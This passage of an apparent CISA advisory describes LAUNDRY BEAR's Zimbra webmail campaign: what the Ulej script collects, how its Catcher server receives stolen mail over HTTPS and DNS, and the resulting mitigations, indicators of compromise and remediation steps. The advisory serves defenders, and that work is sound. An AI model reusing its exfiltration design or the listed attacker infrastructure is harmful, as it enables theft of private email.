<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
